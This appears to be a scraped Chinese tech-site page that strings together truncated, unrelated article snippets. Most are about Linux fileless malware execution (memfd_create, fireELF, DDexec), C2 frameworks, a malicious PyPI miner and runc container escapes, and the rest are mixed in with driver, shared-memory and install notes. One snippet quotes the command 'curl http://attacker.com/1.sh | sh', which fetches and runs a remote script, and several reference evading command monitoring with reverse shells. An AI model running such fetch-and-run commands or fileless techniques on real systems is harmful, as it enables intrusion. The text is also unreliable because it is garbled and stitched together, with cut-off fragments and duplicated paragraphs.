之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux无文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/z2066411585/article/details/89159268
早期的共享内存,着重于强调把同一片内存,map到多个进程的虚拟地址空间(在相应进程找到一个VMA区域),以便于CPU可以在各个进程访问到这片内存。
fireELF是一个开源的跨平台无文件Linux恶意代码框架,它允许用户轻松的创建和管理payloads。默认情况下附带了'memfd_create',这是一种从内存中完全运行linux elf可执行文件的新方法。
在 18 年 11 月底时,我写了一篇文章 《runc 1.0-rc6 发布之际》 。如果你还不了解 runc 是什么,以及如何使用它,请参考我那篇文章。本文中,不再对其概念和用法等进行说明。
注:本文仅用于知识分享,请勿用于非法攻击,任何后果与本团队无关。 01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?最近看了一篇@MagisterQuis写的文章https://magisterquis.githu
Nimbo-C2是一款功能强大的轻量级C2 框架,Nimbo-C2代理支持x64 Windows&Linux操作系统。该工具基于Nim和Python开发,其WIndows端使用了.NET组件。Nim的功能非常强大,但在跟Windows系统交互时使用PowerShell可能会更加简单,因此该工具的部分功能是基于PowerShell实现的。Nimbo-C2的Linux代理更加的精简,只能执行基本命令,其中包括ELF加载(通过memfd技术实现)等。
Security Affairs 网站披露,Sonatype 研究人员发现了一个名为“secretslib”的新 PyPI 包,旨在将无文件加密矿工投放到 Linux 机器系统的内存中。 据悉,该软件包将自身描述成“轻松匹配和验证秘密”,自 2020 年 8 月 6 日以来,已经有了 93 次下载。 网络安全专家发帖子表示,secretslib PyPI 包将自己描述为“使秘密匹配和验证变得容易”。但经过仔细分析观察,该软件包在用户 Linux 机器上暗中运行加密矿工(直接从用户的 RAM 中),这种技术
最近添加了些我觉得可能有用的东西,今天要介绍的就是dropper和packer两个新功能。
Linux 之父Linus Torvald:庆祝完Linux 30 岁了吧,一起来看新的 Linux 5.14。
在 Linux 系统的进程虚拟内存中,一个重要的特性就是不同进程的地址空间是隔离的。A 进程的地址 0x4000 和 B 进程的 0x4000 之间没有任何关系。这样确确实实是让各个进程的运行时互相之间的影响降到了最低。某个进程有 bug 也只能自己崩溃,不会影响其它进程的运行。
本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。
在Linux内核 30 周庆之际,Linus Torvalds 宣布推出了 Linux 5.14。他在公告中表示:
我们都知道,在linux下,“一切皆文件”,因此有时候查看文件的打开情况,就显得格外重要,而这里有一个命令能够在这件事上很好的帮助我们-它就是lsof。
本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。如何想看新方法,直接到最后。
在Linux 系统中, 客观来说,缺乏相对开发者比较友好的进程间通信框架。谈到Linux上进程间通信,一般都会想起管道(匿名、有名)、信号/信号灯、共享内存、消息队列和socket。这些都是偏低层的技术,有没有方便开发者使用的技术或者框架呢?软件总线以及分布式软总线或许是一种不错的候选。
2020年的倒数第二天,我们在CIS网络安全创新大会[1]上跟大家分享了一种针对Kubernetes集群的通用后渗透控制技术(简称k0otkit[2]),利用Kubernetes自身特性、动态容器注入、无文件攻击等技术,在容器逃逸后实现对集群所有节点(无论集群规模大小)的快速、隐蔽、持续控制,同时还介绍了针对这种技术的防御和检测方法。
DDexec是一种能够在Linux上使用无文件技术和隐秘技术运行二进制文件的方法,它可以使用dd工具来将Shell替换为其他进程。
这篇文章讨论如何使用CRIU迁移使用了共享内存的程序,主要讨论其中的前两种共享内存方法,最终介绍一种支持热迁移的C程序共享内存使用方法。
作者 | 字节跳动技术团队 简 介 CloudWeGo - Shmipc 是字节跳动服务框架团队研发的高性能进程间通讯库,它基于共享内存构建,具有零拷贝的特点,同时它引入的同步机制具有批量收割 IO 的能力,相对于其他进程间通讯方式能明显提升性能。在字节内部,Shmipc 应用于 Service Mesh 场景下,mesh proxy 进程与业务逻辑进程、与通用 sidecar 进程的通讯, 在大包场景和 IO 密集型场景能够取得显著的性能收益。 开源社区关于这方面的资料不多,Shmipc 的开源
mmap是linux中提高文件读写效率的一种手段,这里简单整理一下mmap的原理和使用。
在复现 Apache Solr Velocity 模板注入时,发现了一些问题,因为这些问题即使可以执行命令,也不能进行后续渗透。
以前经常遇到2C3G的vmware续集上环境上安装上vpp后,能直接运行,而每次当系统重启后总是报内存不足的问题。当把系统内存调整到4G后,就能正常运行了。一直也不清楚原因。最近工作中遇到一个问题在2c2g的环境上跑vpp,一段时间后,总是报内存不足。后来查询发现hugepage内存大小是1G,但是只使用了不到三分之一的大页内存。
上周末,绿盟科技星云实验室在KCon 2022大会上分享了云原生安全相关议题《进退维谷:runC的阿克琉斯之踵》,该议题探讨了DirtyPipe漏洞写runC逃逸的利用手法,分析了“写runC逃逸”的成因、常见场景与手法,最后提出了一种基于ELF文件注入的写runC逃逸方法。本文将为意犹未尽的朋友提供该议题的详细解读。
35C3 CTF是在第35届混沌通讯大会期间,由知名CTF战队Eat, Sleep, Pwn, Repeat于德国莱比锡举办的一场CTF比赛。比赛中有一道基于Linux命名空间机制的沙盒逃逸题目。赛后,获得第三名的波兰强队Dragon Sector发现该题目所设沙盒在原理上与docker exec命令所依赖的runc(一种容器运行时)十分相似,遂基于题目经验对runc进行漏洞挖掘,成功发现一个能够覆盖宿主机runc程序的容器逃逸漏洞。该漏洞于2019年2月11日通过邮件列表披露,分配编号CVE-2019-5736。
在2019年,我第一次尝试对有关WebRTC的内容进行贡献。这全部的内容都是支持dg-desktop-portal和PipeWire在Linux Wayland上关于屏幕共享的资讯。在那个时候,我们所面临的情况是非常简单的,我们只有PipeWire 0.2,并且所有门户网站后端仅支持屏幕共享(不支持窗口共享)。尽管这相对容易,但是它并不理想,因为每个屏幕共享请求都涉及两个门户对话框,以获取web页面本身的屏幕内容。对我而言,这是一个巨大的成功,因为我为这样一个被许多人使用、所有现代浏览器都在使用的大型项目做出了相当重要的贡献。
本文主要介绍vpp snort插件的编译及配置使用流程。在编译vpp之前首先需要安装libdaq库。在github上下载最新代码,并按照指导文档进行编译安装libdaq库。
在每一个 Kubernetes 节点中,运行着 kubelet,负责为 Pod 创建销毁容器,kubelet 预定义了 API 接口,通过 GRPC 从指定的位置调用特定的 API 进行相关操作。而这些 CRI 的实现者,如 cri-o, containerd 等,通过调用 runc 创建出容器。runc 功能相对单一,即针对特定的配置,构建出容器运行指定进程,它不能直接用来构建镜像,kubernetes 依赖的如 cri-o 这类 CRI,在 runc 基础上增加了通过 API 管理镜像,容器等功能。
在现代操作系统中,内核提供了用户进程与内核进行交互的一组接口。这些接口让应用程序受限地访问硬件设备,提供了创建新进程并与已有进程进行通信的机制,也提供了申请操作系统其他资源的能力。
这篇文章标题已经写很久了,最近时间一直忙工作上事情,搁浅了很长一段时间。每次阅读到vpp对物理内存的管理这块都会绕过。终于鼓起勇气要来阅读一番。自己的理解也比较狭隘,比如通过/proc/pid/pagemap将虚拟地址查询到物理地址,本人也没有完全理解(参照其他人博客)。欢迎大家指正和交流。
Linux API 头文件(在 linux-3.19.tar.xz 里)会将内核 API 导出给 Glibc 使用。
PyMol是一个类似于VMD的分子可视化工具,也是在PyQt的基础上开发的。但是由于其商业化运营,软件分为了教育版、开源版和商业版三个版本。其中教育版会有水印,商业版要收费,但是官方不提供开源版本的安装方法。按照参考链接1的内容,可以在Windows系统上面安装一个开源版本的PyMol,但是该发行版只有Windows平台的编译包。所以如果需要在Linux上安装PyMol,就只能在Github上面下载源码进行编译构建。
如果你已经尝试了100种错误方法,恭喜你,找到家了。这个是99.9%能保证成功的安装方式。如果你第一篇就看到这个,更加恭喜你,你少走了一万里弯路!
在Linux中,可以对GPIO进行相关的控制,具体的做法就是利用字符设备驱动程序对相关的gpio进行控制。由于操作系统的限制,在Linux上又无法直接在应用程序的层面上对底层的硬件进行操作。本文主要通过一个点亮红外灯的实例,再次理解Linux下的应用程序与驱动程序的交互,同时加深驱动程序编写流程的理解。
下载 [root@h101 keepalived]# wget http://www.keepalived.org/software/keepalived-1.2.19.tar.gz --2016-03-02 15:26:58-- http://www.keepalived.org/software/keepalived-1.2.19.tar.gz Resolving www.keepalived.org... 37.59.63.157, 2001:41d0:8:7a9d::1 Connecting t
获取到int类型的gpio口后,就可以使用linux/gpio.h里的gpio口操作函数:
安装kibana 准确来说,只用解压就可以了 [root@h102 ELK]# ls elasticsearch-2.1.1.rpm GPG-KEY-elasticsearch kibana-4.3.1-linux-x64.tar.gz logstash-2.1.1-1.noarch.rpm [root@h102 ELK]# tar -zxvf kibana-4.3.1-linux-x64.tar.gz kibana-4.3.1-linux-x64/ kibana-4.3.1-linux-x64/b
在Linux下开发时,命令行的使用是必不可少的,经常会在命令行运行各种命令,启动服务,启动应用程序,查看函数用法等等;运行这些命令时都会传入一些参数,比如:
网络驱动接收网络数据包并将数据包放入TCP/IP上层,编写网络驱动接收数据包必须分配sk_buff结构来存储数据,sk_buff将在上层释放。
1)头文件 windows下winsock.h/winsock2.h linux下sys/socket.h 错误处理:errno.h 2)初始化 windows下需要用WSAStartup WSADATA wsaData; err = WSAStartup(0x202,&wsaData); if ( err != 0 ) { return 0; } else if ( LOBYTE( wsaData.wVersion )
本文介绍了如何通过Linux内核定时器实现LED灯的闪烁,从硬件的配置、驱动程序以及示例代码方面进行了详细的阐述。通过申请GPIO、配置GPIO、编写驱动程序以及添加设备到内核和加载设备,最终实现了LED灯的闪烁。
工作队列(work queue)是另外一种将工作推后执行的形式,tasklet(小任务机制)有所不同。工作队列可以把工作推后,交由一个内核线程去执行,也就是说,这个下半部分可以在进程上下文中执行。这样,通过工作队列执行的代码能占尽进程上下文的所有优势。最重要的就是工作队列允许被重新调度甚至是睡眠。
在消费类电子中,功耗是很重要的,甚至项目后期一直在调功耗,看看哪里还可以再省电。由此就有了 Linux 电源管理子系统,该子系统包含很多方面:什么时候可以降帧、什么时候可以关掉其他 CPU core、系统运行时如果某外设很少用需要让它运行时休眠、系统休眠时要保证哪些外设可以唤醒系统。
下面使用IIC子系统框架编写EEPROM的驱动,驱动端代码使用杂项字符设备框架,并且实现了文件指针偏移;在应用层可以将EEPROM当做一个255字节大小的文件进行编程读写。
Mininet作为一个轻量级的SDN仿真工具,在其系统实现架构中充分利用了Linux命名空间内核技术,其中Linux Network Namespace机制更是Mininet软件架构的基石,对网络资源
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u014688145/article/details/50615579
完全删除某空间下的文件 [root@h101 copy]# ../qshell_linux_amd64 listbucket qiniucloud-goods list.video [root@h101 copy]# ../qshell_linux_amd64 batchdelete qiniucloud-goods list.video <DANGER> Input hdbiha to confirm operation: hdbiha All deleted! [root@h101
#include <errno.h> //提供错误号errno的定义,用于错误处理
工作队列常见的使用形式是配合中断使用,在中断的服务函数里无法调用会导致休眠的相关函数代码,有了工作队列机制以后,可以将需要执行的逻辑代码放在工作队列里执行,只需要在中断服务函数里触发即可,工作队列是允许被重新调度、睡眠。
领取专属 10元无门槛券
手把手带您无忧上云